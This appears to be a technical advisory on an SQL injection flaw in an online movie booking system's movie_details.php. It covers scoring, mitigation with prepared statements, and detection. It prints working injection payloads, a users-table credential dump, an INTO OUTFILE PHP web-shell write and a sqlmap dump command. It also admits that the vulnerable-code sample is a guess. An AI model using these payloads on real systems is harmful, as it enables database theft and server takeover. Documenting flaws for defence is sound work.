Comprehensive Technical Analysis of CVE-2025-65125

CVE ID: CVE-2025-65125 CVSS Score: 9.8 (Critical) Affected Software: gosaliajainam/online-movie-booking v5.5 Vulnerability Type: SQL Injection (SQLi) Publication Date: January 2, 2026

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

CVE-2025-65125 is a critical SQL injection (SQLi) vulnerability in the movie_details.php component of the Online Movie Booking System (version 5.5). The flaw allows unauthenticated attackers to execute arbitrary SQL queries, leading to unauthorized database access, sensitive data exfiltration, and potential full system compromise.

Severity Justification (CVSS 9.8 - Critical)

The CVSS v3.1 scoring breakdown is as follows:

Metric	Value	Justification
Attack Vector (AV)	Network (N)	Exploitable remotely without authentication.
Attack Complexity (AC)	Low (L)	No specialized conditions required.
Privileges Required (PR)	None (N)	No prior access needed.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable component.
Confidentiality (C)	High (H)	Full database access, including PII, credentials, and financial data.
Integrity (I)	High (H)	Ability to modify or delete database records.
Availability (A)	High (H)	Potential for DoS via destructive queries.

Resulting CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Score: 9.8 (Critical)

This classification aligns with OWASP Top 10 (A03:2021 – Injection) and CWE-89 (Improper Neutralization of Special Elements used in an SQL Command).

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2. Potential Attack Vectors & Exploitation Methods

Attack Surface

The vulnerability resides in movie_details.php, likely due to improper input sanitization when processing user-supplied parameters (e.g., movie_id, showtime_id, or other GET/POST variables).

Exploitation Methods

A. Basic SQL Injection (Error-Based)

An attacker can manipulate input parameters to inject malicious SQL queries:

GET /movie_details.php?movie_id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- - HTTP/1.1
Host: vulnerable-site.com

Outcome:

• Database error messages may leak schema details.
• Successful union-based attacks can extract sensitive data (e.g., user credentials, payment records).

B. Blind SQL Injection (Time-Based)

If error messages are suppressed, attackers can use time delays to infer data:

GET /movie_details.php?movie_id=1 AND IF(1=1,SLEEP(5),0)-- - HTTP/1.1

Outcome:

• Delays in response confirm injection feasibility.
• Enables data exfiltration via boolean-based or time-based techniques.

C. Database Takeover & Remote Code Execution (RCE)

If the database user has FILE privileges, attackers may:

1. Write malicious files (e.g., web shells) to the server:

   UNION SELECT 1,2,3,'<?php system($_GET["cmd"]); ?>',5,6,7,8,9,10 INTO OUTFILE '/var/www/html/shell.php'-- -
   

2. Execute OS commands via:

   GET /shell.php?cmd=id HTTP/1.1
   

D. Credential Theft & Privilege Escalation

• Dump user tables (e.g., users, admins):

  UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM users-- -
  

• Crack hashed passwords offline (if weak hashing is used).
• Impersonate administrators to gain full system control.

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3. Affected Systems & Software Versions

Vulnerable Software

• Product: Online Movie Booking System
• Vendor: gosaliajainam (GitHub repository)
• Version: 5.5 (and likely earlier unpatched versions)
• File: movie_details.php

Deployment Context

• Typical Use Case: Web-based movie ticket booking systems for theaters.
• Common Integrations:
  • Payment gateways (e.g., Stripe, PayPal).
  • User authentication systems.
  • Database backends (MySQL, PostgreSQL).

Indicators of Compromise (IoCs)

• Database logs showing unusual queries (e.g., UNION SELECT, SLEEP()).
• Web server logs with suspicious GET/POST parameters containing SQL syntax.
• Unauthorized file writes (e.g., .php files in web directories).
• Unusual outbound traffic (data exfiltration).

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Apply Vendor Patch (If Available)

   • Monitor the GitHub repository for updates.
   • If no patch exists, disable the vulnerable component (movie_details.php) temporarily.

2. Implement Web Application Firewall (WAF) Rules

   • OWASP ModSecurity Core Rule Set (CRS) to block SQLi attempts.
   • Custom rules to detect and block:
     • UNION SELECT, SLEEP(), INTO OUTFILE, --, #, /* */.
     • Unusual parameter patterns (e.g., 1' OR '1'='1).

3. Database Hardening

   • Restrict database user privileges (avoid FILE, ADMIN permissions).
   • Enable query logging for anomaly detection.
   • Use parameterized queries (see Long-Term Fixes).

Long-Term Fixes (Secure Coding Practices)

1. Use Prepared Statements (Parameterized Queries)

   • PHP (PDO Example):

     $stmt = $pdo->prepare("SELECT * FROM movies WHERE id = :movie_id");
     $stmt->execute(['movie_id' => $_GET['movie_id']]);
     

   • PHP (MySQLi Example):

     $stmt = $conn->prepare("SELECT * FROM movies WHERE id = ?");
     $stmt->bind_param("i", $_GET['movie_id']);
     $stmt->execute();
     

2. Input Validation & Sanitization

   • Whitelist allowed characters (e.g., numeric IDs only).
   • Reject suspicious input (e.g., quotes, semicolons, SQL keywords).

3. Least Privilege Principle

   • Database user should have minimal permissions (read-only where possible).
   • Disable dynamic SQL in stored procedures.

4. Regular Security Testing

   • Automated Scanning: Use tools like SQLMap, Burp Suite, or OWASP ZAP.
   • Manual Penetration Testing: Engage red teams to validate fixes.

5. Logging & Monitoring

   • Enable database query logging (MySQL: general_log = 1).
   • Set up SIEM alerts for SQLi patterns (e.g., Splunk, ELK Stack).

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5. Impact on the Cybersecurity Landscape

Broader Implications

1. Data Breach Risks

   • Exposure of PII: Names, emails, phone numbers, payment details.
   • Regulatory Fines: GDPR (up to 4% of global revenue), CCPA, PCI DSS penalties.

2. Supply Chain Attacks

   • If the vulnerable software is used by third-party vendors, it could lead to cascading breaches (e.g., theater chains, ticketing platforms).

3. Reputation Damage

   • Loss of customer trust due to data leaks.
   • Brand devaluation and potential legal liabilities.

4. Exploitation in the Wild

   • Automated attacks (e.g., botnets scanning for vulnerable instances).
   • Ransomware deployment (if RCE is achieved via file writes).

Threat Actor Motivations

Actor Type	Likely Exploitation Goal
Script Kiddies	Defacement, data theft for bragging rights.
Cybercriminals	Steal payment data for fraud, sell on dark web.
APT Groups	Persistent access for espionage or ransomware.
Hacktivists	Disrupt services for ideological reasons.

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6. Technical Details for Security Professionals

Vulnerability Root Cause Analysis

1. Code-Level Flaw

   • Likely direct concatenation of user input into SQL queries:

     $movie_id = $_GET['movie_id'];
     $query = "SELECT * FROM movies WHERE id = " . $movie_id;
     $result = mysqli_query($conn, $query);
     

   • Missing input sanitization and lack of prepared statements.

2. Database Backend Considerations

   • MySQL: Vulnerable to UNION SELECT, INTO OUTFILE.
   • PostgreSQL: Similar risks with COPY commands.
   • SQLite: Less severe but still exploitable for data theft.

3. Exploitation Chains

   • Step 1: Identify injectable parameter (e.g., movie_id).
   • Step 2: Enumerate database schema (e.g., information_schema.tables).
   • Step 3: Extract sensitive data (e.g., users, payments).
   • Step 4: Escalate to RCE (if FILE privileges exist).

Proof-of-Concept (PoC) Exploitation

Example Attack (Data Exfiltration):

GET /movie_details.php?movie_id=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM users-- - HTTP/1.1
Host: vulnerable-site.com

Expected Output:

• If vulnerable, the response will include usernames and password hashes in the HTML.

Automated Exploitation (SQLMap):

sqlmap -u "http://vulnerable-site.com/movie_details.php?movie_id=1" --batch --dump

Outcome:

• Automatically extracts entire database contents.

Detection & Forensics

1. Log Analysis

   • Apache/Nginx Logs:

     192.168.1.100 - - [02/Jan/2026:12:34:56 +0000] "GET /movie_details.php?movie_id=1' UNION SELECT 1,2,3-- - HTTP/1.1" 200 1234
     

   • MySQL General Log:

     SELECT * FROM movies WHERE id = 1' UNION SELECT 1,2,3-- -
     

2. Network Traffic Analysis

   • Unusual outbound connections (e.g., DNS exfiltration, HTTP data leaks).
   • Repeated failed login attempts (if credentials are stolen).

3. File System Forensics

   • Check for unauthorized PHP files (e.g., shell.php, backdoor.php).
   • Review file timestamps for suspicious modifications.

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Conclusion & Recommendations

Key Takeaways

• CVE-2025-65125 is a critical SQLi vulnerability with high exploitability and severe impact.
• Unauthenticated attackers can steal sensitive data, escalate privileges, or achieve RCE.
• Immediate patching and WAF deployment are essential to mitigate risk.

Action Plan for Organizations

Priority	Action Item	Owner
Critical	Apply vendor patch (if available) or disable movie_details.php.	DevOps/Security Team
High	Deploy WAF rules to block SQLi attempts.	Security Operations
High	Audit database user permissions (least privilege).	Database Admins
Medium	Conduct penetration testing to validate fixes.	Red Team
Medium	Implement prepared statements in all SQL queries.	Development Team
Low	Enable database query logging for anomaly detection.	SOC Team

Final Remarks

This vulnerability underscores the critical importance of secure coding practices, particularly input validation and parameterized queries. Organizations using the Online Movie Booking System must act swiftly to prevent data breaches and system compromise. Proactive monitoring and regular security assessments are essential to defend against similar threats.

For further research, refer to:

• OWASP SQL Injection Prevention Cheat Sheet
• CWE-89: SQL Injection
• SQLMap Documentation